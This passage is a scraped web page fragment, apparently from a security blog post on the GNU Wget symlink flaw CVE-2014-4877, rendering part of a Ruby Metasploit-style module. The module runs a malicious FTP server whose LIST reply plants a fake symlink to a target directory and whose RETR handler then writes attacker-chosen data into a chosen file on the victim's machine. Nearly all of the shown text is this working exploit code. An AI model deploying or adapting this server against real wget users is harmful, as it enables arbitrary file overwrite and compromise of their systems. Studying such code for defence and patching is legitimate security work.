data-line-number=\"84\"><\/td>\n<td id=\"LC84\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"n\">conn<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L85\" class=\"blob-num js-line-number\" data-line-number=\"85\"><\/td>\n<td id=\"LC85\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;425 Can&#8217;t build data connection<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L86\" class=\"blob-num js-line-number\" data-line-number=\"86\"><\/td>\n<td id=\"LC86\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L87\" class=\"blob-num js-line-number\" data-line-number=\"87\"><\/td>\n<td id=\"LC87\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L88\" class=\"blob-num js-line-number\" data-line-number=\"88\"><\/td>\n<td id=\"LC88\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L89\" class=\"blob-num js-line-number\" data-line-number=\"89\"><\/td>\n<td id=\"LC89\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;150 Opening BINARY mode data connection for\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">arg<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L90\" class=\"blob-num js-line-number\" data-line-number=\"90\"><\/td>\n<td id=\"LC90\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_DATA&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L91\" class=\"blob-num js-line-number\" data-line-number=\"91\"><\/td>\n<td id=\"LC91\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;226 Transfer complete.<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L92\" class=\"blob-num js-line-number\" data-line-number=\"92\"><\/td>\n<td id=\"LC92\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L93\" class=\"blob-num js-line-number\" data-line-number=\"93\"><\/td>\n<td id=\"LC93\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L94\" class=\"blob-num js-line-number\" data-line-number=\"94\"><\/td>\n<td id=\"LC94\" class=\"blob-code js-file-line\"><span class=\"n\">print_good<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:name<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0Hopefully wrote\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_DATA&#8217;<\/span><span class=\"o\">].<\/span><span class=\"n\">length<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0bytes to\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_FILE&#8217;<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L95\" class=\"blob-num js-line-number\" data-line-number=\"95\"><\/td>\n<td id=\"LC95\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L96\" class=\"blob-num js-line-number\" data-line-number=\"96\"><\/td>\n<td id=\"LC96\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L97\" class=\"blob-num js-line-number\" data-line-number=\"97\"><\/td>\n<td id=\"LC97\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_list<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L98\" class=\"blob-num js-line-number\" data-line-number=\"98\"><\/td>\n<td id=\"LC98\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L99\" class=\"blob-num js-line-number\" data-line-number=\"99\"><\/td>\n<td id=\"LC99\" class=\"blob-code js-file-line\"><span class=\"n\">print_status<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:name<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0-&gt; LIST\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">arg<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L100\" class=\"blob-num js-line-number\" data-line-number=\"100\"><\/td>\n<td id=\"LC100\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L101\" class=\"blob-num js-line-number\" data-line-number=\"101\"><\/td>\n<td id=\"LC101\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:auth<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L102\" class=\"blob-num js-line-number\" data-line-number=\"102\"><\/td>\n<td id=\"LC102\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;500 Access denied<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L103\" class=\"blob-num js-line-number\" data-line-number=\"103\"><\/td>\n<td id=\"LC103\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L104\" class=\"blob-num js-line-number\" data-line-number=\"104\"><\/td>\n<td id=\"LC104\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L105\" class=\"blob-num js-line-number\" data-line-number=\"105\"><\/td>\n<td id=\"LC105\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L106\" class=\"blob-num js-line-number\" data-line-number=\"106\"><\/td>\n<td id=\"LC106\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">establish_data_connection<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L107\" class=\"blob-num js-line-number\" data-line-number=\"107\"><\/td>\n<td id=\"LC107\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"n\">conn<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L108\" class=\"blob-num js-line-number\" data-line-number=\"108\"><\/td>\n<td id=\"LC108\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;425 Can&#8217;t build data connection<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L109\" class=\"blob-num js-line-number\" data-line-number=\"109\"><\/td>\n<td id=\"LC109\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L110\" class=\"blob-num js-line-number\" data-line-number=\"110\"><\/td>\n<td id=\"LC110\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L111\" class=\"blob-num js-line-number\" data-line-number=\"111\"><\/td>\n<td id=\"LC111\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L112\" class=\"blob-num js-line-number\" data-line-number=\"112\"><\/td>\n<td id=\"LC112\" class=\"blob-code js-file-line\"><span class=\"n\">pwd<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:cwd<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L113\" class=\"blob-num js-line-number\" data-line-number=\"113\"><\/td>\n<td id=\"LC113\" class=\"blob-code js-file-line\"><span class=\"n\">buf<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"s1\">&#8221;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L114\" class=\"blob-num js-line-number\" data-line-number=\"114\"><\/td>\n<td id=\"LC114\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L115\" class=\"blob-num js-line-number\" data-line-number=\"115\"><\/td>\n<td id=\"LC115\" class=\"blob-code js-file-line\"><span class=\"n\">dstamp<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"no\">Time<\/span><span class=\"o\">.<\/span><span class=\"n\">at<\/span><span class=\"p\">(<\/span><span class=\"no\">Time<\/span><span class=\"o\">.<\/span><span class=\"n\">now<\/span><span class=\"o\">.<\/span><span class=\"n\">to_i<\/span><span class=\"o\">&#8211;<\/span><span class=\"p\">((<\/span><span class=\"mi\">3600<\/span><span class=\"o\">*<\/span><span class=\"mi\">24<\/span><span class=\"o\">*<\/span><span class=\"mi\">365<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"p\">(<\/span><span class=\"mi\">3600<\/span><span class=\"o\">*<\/span><span class=\"mi\">24<\/span><span class=\"o\">*<\/span><span class=\"p\">(<\/span><span class=\"nb\">rand<\/span><span class=\"p\">(<\/span><span class=\"mi\">365<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mi\">1<\/span><span class=\"p\">))))<\/span><span class=\"o\">.<\/span><span class=\"n\">strftime<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;%b %e %Y&#8221;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L116\" class=\"blob-num js-line-number\" data-line-number=\"116\"><\/td>\n<td id=\"LC116\" class=\"blob-code js-file-line\"><span class=\"k\">unless<\/span>\u00a0<span class=\"n\">pwd<\/span><span class=\"o\">.<\/span><span class=\"n\">index<\/span><span class=\"p\">(<\/span><span class=\"vi\">@fakedir<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L117\" class=\"blob-num js-line-number\" data-line-number=\"117\"><\/td>\n<td id=\"LC117\" class=\"blob-code js-file-line\"><span class=\"n\">buf<\/span>\u00a0<span class=\"o\">&lt;&lt;<\/span>\u00a0<span class=\"s2\">&#8220;lrwxrwxrwx 1 root root 33\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">dstamp<\/span><span class=\"si\">}<\/span>\u00a0<span class=\"si\">#{<\/span><span class=\"vi\">@fakedir<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0-&gt;\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"o\">::<\/span><span class=\"no\">File<\/span><span class=\"o\">.<\/span><span class=\"n\">dirname<\/span><span class=\"p\">(<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_FILE&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">)<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L118\" class=\"blob-num js-line-number\" data-line-number=\"118\"><\/td>\n<td id=\"LC118\" class=\"blob-code js-file-line\"><span class=\"n\">buf<\/span>\u00a0<span class=\"o\">&lt;&lt;<\/span>\u00a0<span class=\"s2\">&#8220;drwxrwxr-x 15 root root 4096\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">dstamp<\/span><span class=\"si\">}<\/span>\u00a0<span class=\"si\">#{<\/span><span class=\"vi\">@fakedir<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L119\" class=\"blob-num js-line-number\" data-line-number=\"119\"><\/td>\n<td id=\"LC119\" class=\"blob-code js-file-line\"><span class=\"k\">else<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L120\" class=\"blob-num js-line-number\" data-line-number=\"120\"><\/td>\n<td id=\"LC120\" class=\"blob-code js-file-line\"><span class=\"n\">buf<\/span>\u00a0<span class=\"o\">&lt;&lt;<\/span>\u00a0<span class=\"s2\">&#8220;-rwx&#8212;&#8212; 1 root root\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"s2\">&#8220;%9d&#8221;<\/span>\u00a0<span class=\"o\">%<\/span>\u00a0<span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_DATA&#8217;<\/span><span class=\"o\">].<\/span><span class=\"n\">length<\/span><span class=\"si\">}<\/span>\u00a0<span class=\"si\">#{<\/span><span class=\"n\">dstamp<\/span><span class=\"si\">}<\/span>\u00a0<span class=\"si\">#{<\/span><span class=\"o\">::<\/span><span class=\"no\">File<\/span><span class=\"o\">.<\/span><span class=\"n\">basename<\/span><span class=\"p\">(<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_FILE&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">)<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L121\" class=\"blob-num js-line-number\" data-line-number=\"121\"><\/td>\n<td id=\"LC121\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L122\" class=\"blob-num js-line-number\" data-line-number=\"122\"><\/td>\n<td id=\"LC122\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L123\" class=\"blob-num js-line-number\" data-line-number=\"123\"><\/td>\n<td id=\"LC123\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;150 Opening ASCII mode data connection for \/bin\/ls<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L124\" class=\"blob-num js-line-number\" data-line-number=\"124\"><\/td>\n<td id=\"LC124\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;total\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">buf<\/span><span class=\"o\">.<\/span><span class=\"n\">length<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span>\u00a0<span class=\"o\">+<\/span>\u00a0<span class=\"n\">buf<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L125\" class=\"blob-num js-line-number\" data-line-number=\"125\"><\/td>\n<td id=\"LC125\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;226 Transfer complete.<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L126\" class=\"blob-num js-line-number\" data-line-number=\"126\"><\/td>\n<td id=\"LC126\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L127\" class=\"blob-num js-line-number\" data-line-number=\"127\"><\/td>\n<td id=\"LC127\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L128\" class=\"blob-num js-line-number\" data-line-number=\"128\"><\/td>\n<td id=\"LC128\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L129\" class=\"blob-num js-line-number\" data-line-number=\"129\"><\/td>\n<td id=\"LC129\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_size<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L130\" class=\"blob-num js-line-number\" data-line-number=\"130\"><\/td>\n<td id=\"LC130\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L131\" class=\"blob-num js-line-number\" data-line-number=\"131\"><\/td>\n<td id=\"LC131\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:auth<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L132\" class=\"blob-num js-line-number\" data-line-number=\"132\"><\/td>\n<td id=\"LC132\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;500 Access denied<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L133\" class=\"blob-num js-line-number\" data-line-number=\"133\"><\/td>\n<td id=\"LC133\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L134\" class=\"blob-num js-line-number\" data-line-number=\"134\"><\/td>\n<td id=\"LC134\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L135\" class=\"blob-num js-line-number\" data-line-number=\"135\"><\/td>\n<td id=\"LC135\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L136\" class=\"blob-num js-line-number\" data-line-number=\"136\"><\/td>\n<td id=\"LC136\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;213\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_DATA&#8217;<\/span><span class=\"o\">].<\/span><span class=\"n\">length<\/span><span class=\"si\">}<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L137\" class=\"blob-num js-line-number\" data-line-number=\"137\"><\/td>\n<td id=\"LC137\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L138\" class=\"blob-num js-line-number\" data-line-number=\"138\"><\/td>\n<td id=\"LC138\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L139\" class=\"blob-num js-line-number\" data-line-number=\"139\"><\/td>\n<td id=\"LC139\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L140\" class=\"blob-num js-line-number\" data-line-number=\"140\"><\/td>\n<td id=\"LC140\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_cwd<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L141\" class=\"blob-num js-line-number\" data-line-number=\"141\"><\/td>\n<td id=\"LC141\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L142\" class=\"blob-num js-line-number\" data-line-number=\"142\"><\/td>\n<td id=\"LC142\" class=\"blob-code js-file-line\"><span class=\"n\">print_status<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:name<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0-&gt; CWD\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">arg<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L143\" class=\"blob-num js-line-number\" data-line-number=\"143\"><\/td>\n<td id=\"LC143\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L144\" class=\"blob-num js-line-number\" data-line-number=\"144\"><\/td>\n<td id=\"LC144\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:auth<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L145\" class=\"blob-num js-line-number\" data-line-number=\"145\"><\/td>\n<td id=\"LC145\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;500 Access denied<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L146\" class=\"blob-num js-line-number\" data-line-number=\"146\"><\/td>\n<td id=\"LC146\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L147\" class=\"blob-num js-line-number\" data-line-number=\"147\"><\/td>\n<td id=\"LC147\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L148\" class=\"blob-num js-line-number\" data-line-number=\"148\"><\/td>\n<td id=\"LC148\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L149\" class=\"blob-num js-line-number\" data-line-number=\"149\"><\/td>\n<td id=\"LC149\" class=\"blob-code js-file-line\"><span class=\"n\">upath<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"s2\">&#8220;\/&#8221;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L150\" class=\"blob-num js-line-number\" data-line-number=\"150\"><\/td>\n<td id=\"LC150\" class=\"blob-code js-file-line\"><span class=\"n\">npath<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"o\">::<\/span><span class=\"no\">File<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:cwd<\/span><span class=\"o\">]<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L151\" class=\"blob-num js-line-number\" data-line-number=\"151\"><\/td>\n<td id=\"LC151\" class=\"blob-code js-file-line\"><span class=\"n\">bpath<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">npath<\/span><span class=\"o\">[<\/span><span class=\"n\">upath<\/span><span class=\"o\">.<\/span><span class=\"n\">length<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"n\">npath<\/span><span class=\"o\">.<\/span><span class=\"n\">length<\/span>\u00a0<span class=\"o\">&#8211;<\/span>\u00a0<span class=\"n\">upath<\/span><span class=\"o\">.<\/span><span class=\"n\">length<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L152\" class=\"blob-num js-line-number\" data-line-number=\"152\"><\/td>\n<td id=\"LC152\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L153\" class=\"blob-num js-line-number\" data-line-number=\"153\"><\/td>\n<td id=\"LC153\" class=\"blob-code js-file-line\"><span class=\"c1\"># Check for traversal above the root directory<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L154\" class=\"blob-num js-line-number\" data-line-number=\"154\"><\/td>\n<td id=\"LC154\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"p\">(<\/span><span class=\"n\">npath<\/span><span class=\"o\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"n\">upath<\/span><span class=\"o\">.<\/span><span class=\"n\">length<\/span><span class=\"o\">]<\/span>\u00a0<span class=\"o\">==<\/span>\u00a0<span class=\"n\">upath<\/span>\u00a0<span class=\"ow\">or<\/span>\u00a0<span class=\"n\">bpath<\/span>\u00a0<span class=\"o\">==<\/span>\u00a0<span class=\"s1\">&#8221;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L155\" class=\"blob-num js-line-number\" data-line-number=\"155\"><\/td>\n<td id=\"LC155\" class=\"blob-code js-file-line\"><span class=\"n\">bpath<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"s1\">&#8216;\/&#8217;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L156\" class=\"blob-num js-line-number\" data-line-number=\"156\"><\/td>\n<td id=\"LC156\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L157\" class=\"blob-num js-line-number\" data-line-number=\"157\"><\/td>\n<td id=\"LC157\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L158\" class=\"blob-num js-line-number\" data-line-number=\"158\"><\/td>\n<td id=\"LC158\" class=\"blob-code js-file-line\"><span class=\"n\">bpath<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"s1\">&#8216;\/&#8217;<\/span>\u00a0<span class=\"k\">if<\/span>\u00a0<span class=\"n\">bpath<\/span>\u00a0<span class=\"o\">==<\/span>\u00a0<span class=\"s1\">&#8221;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L159\" class=\"blob-num js-line-number\" data-line-number=\"159\"><\/td>\n<td id=\"LC159\" class=\"blob-code js-file-line\"><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:cwd<\/span><span class=\"o\">]<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">bpath<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L160\" class=\"blob-num js-line-number\" data-line-number=\"160\"><\/td>\n<td id=\"LC160\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L161\" class=\"blob-num js-line-number\" data-line-number=\"161\"><\/td>\n<td id=\"LC161\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;250 CWD command successful.<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L162\" class=\"blob-num js-line-number\" data-line-number=\"162\"><\/td>\n<td id=\"LC162\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L163\" class=\"blob-num js-line-number\" data-line-number=\"163\"><\/td>\n<td id=\"LC163\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.\u00a0 Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in 